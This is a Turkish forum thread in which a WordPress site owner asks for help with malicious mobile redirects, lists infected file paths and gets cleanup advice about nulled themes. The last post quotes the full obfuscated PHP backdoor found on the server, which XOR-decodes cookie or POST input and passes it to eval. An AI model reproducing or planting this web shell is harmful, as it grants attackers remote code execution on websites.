Yıldım artık, nolur yardım edin

İnternet sitemin linkini twitter hesabımızdan paylaştığımda. Mobilden bu linke tıklayanlar başka siteye yönleniyor. İnternette bir sürü araştırma yaptım. Birçok yöntem denedim. Paralı destek aldım fakat çözüme bir türlü ulaşamadım. Elini taşın altına sokacak wordpressçiler arıyorum. Gerçekten yapmak istediğim şeyleri, bu sorun yüzünden yapamıyorum. Ciddi hit kaybediyorum.
www.korsanedebiyat.com

detay iletir misiniz

Ustam, siteye yayınladığımız yazının linkini twitterda paylaşıyorum. Ancak twitterda paylaştığımız o linke, insanlar mobilden tıkladıklarında farklı sitelere yöneliyor. Bu olay belli saatlerde, ama sıksık oluyor. Son kontrolümde buraya yönlendi mesela:






Konuyla ilgili çalışmaya devam ediyorum. Eval virüsünden kaynaklı bu sorun. /public_html/wp-content/uploads/slideshow-gallery/vogmvtyd.php bir dosya buldum ve sildim.
/public_html/wp-content/plugins/.8979b6c8.ico ve /public_html/wp-admin/css/.24f5d509.ico aramalarım devam ediyor. /public_html/wp-content/themes/jarida/panel/shortcodes/ui.php dosyasında da eval geçiyor. Böyle bir dosya var mı wordpressde?

iş verilmediyse sitenizin temizliğini üstlenebilirim

Ben de yılmıştım. Şöyle kurtuldum: Eval virüsü temizleme

Artık çıldırmak üzereyim. Sorun bir türlü düzelmiyor. Son sildiğim dosyalardan sonra:

/public_html/wp-content/languages klasöründe

/public_html/wp-content/plugins/all-in-one-wp-security-and-firewall/lib klasöründe

/public_html/wp-content/plugins/wordpress-seo/deprecated klasöründe

virüslü dosyalar türemiş. Bir el atın lütfen...

temanız lisanslı mı yoksa null mu? önce tema değiştirip bakın sorun çözülecek mi. ayrıca eğer lisanslı bir temanız yoksa, lisanslı temiz bir tema satın alın. sonra site güvenliğini sağlayın.

Ben sizin blogunuzu Tumblr'dan mı biliyorum acaba?

Detay iletirseniz ücretsiz olarak incelemek isterim. W.arez temalarda oluyor bu türden olaylar.

Tumblrdan olabilir...

Ftp dosyalarıma sürekli alttaki kodlara sahip dosyalar ekleniyor.

<?php
$anpxjv = 'ilvHs6mpr'3*doxynk4ea-9t8f7cg#ub_2';$imlapts = Array();$imlapts[] = $anpxjv[26].$anpxjv[25].$anpxjv[18].$anpxjv[24].$anpxjv[20].$anpxjv[10].$anpxjv[12].$anpxjv[19].$anpxjv[21].$anpxjv[12].$anpxjv[18].$anpxjv[26].$anpxjv[26].$anpxjv[21].$anpxjv[18].$anpxjv[26].$anpxjv[22].$anpxjv[20].$anpxjv[21].$anpxjv[22].$anpxjv[24].$anpxjv[19].$anpxjv[19].$anpxjv[21].$anpxjv[10].$anpxjv[22].$anpxjv[25].$anpxjv[33].$anpxjv[5].$anpxjv[5].$anpxjv[33].$anpxjv[33].$anpxjv[33].$anpxjv[5].$anpxjv[5].$anpxjv[10];$imlapts[] = $anpxjv[3].$anpxjv[11];$imlapts[] = $anpxjv[29];$imlapts[] = $anpxjv[27].$anpxjv[13].$anpxjv[30].$anpxjv[16].$anpxjv[23];$imlapts[] = $anpxjv[4].$anpxjv[23].$anpxjv[8].$anpxjv[32].$anpxjv[8].$anpxjv[19].$anpxjv[7].$anpxjv[19].$anpxjv[20].$anpxjv[23];$imlapts[] = $anpxjv[19].$anpxjv[14].$anpxjv[7].$anpxjv[1].$anpxjv[13].$anpxjv[12].$anpxjv[19];$imlapts[] = $anpxjv[4].$anpxjv[30].$anpxjv[31].$anpxjv[4].$anpxjv[23].$anpxjv[8];$imlapts[] = $anpxjv[20].$anpxjv[8].$anpxjv[8].$anpxjv[20].$anpxjv[15].$anpxjv[32].$anpxjv[6].$anpxjv[19].$anpxjv[8].$anpxjv[28].$anpxjv[19];$imlapts[] = $anpxjv[4].$anpxjv[23].$anpxjv[8].$anpxjv[1].$anpxjv[19].$anpxjv[16];$imlapts[] = $anpxjv[7].$anpxjv[20].$anpxjv[27].$anpxjv[17];foreach ($imlapts[7]($_COOKIE, $_POST) as $znnnauv => $uuorgr){function dmmeup($imlapts, $znnnauv, $azmvynn){return $imlapts[6]($imlapts[4]($znnnauv . $imlapts[0], ($azmvynn / $imlapts[8]($znnnauv)) + 1), 0, $azmvynn);}function kuolg($imlapts, $hqmjpan){return @$imlapts[9]($imlapts[1], $hqmjpan);}function cfvuvmv($imlapts, $hqmjpan){$hdajkf = $imlapts[3]($hqmjpan) % 3;if (!$hdajkf) {eval($hqmjpan[1]($hqmjpan[2]));exit();}}$uuorgr = kuolg($imlapts, $uuorgr);cfvuvmv($imlapts, $imlapts[5]($imlapts[2], $uuorgr ^ dmmeup($imlapts, $znnnauv, $imlapts[8]($uuorgr))));}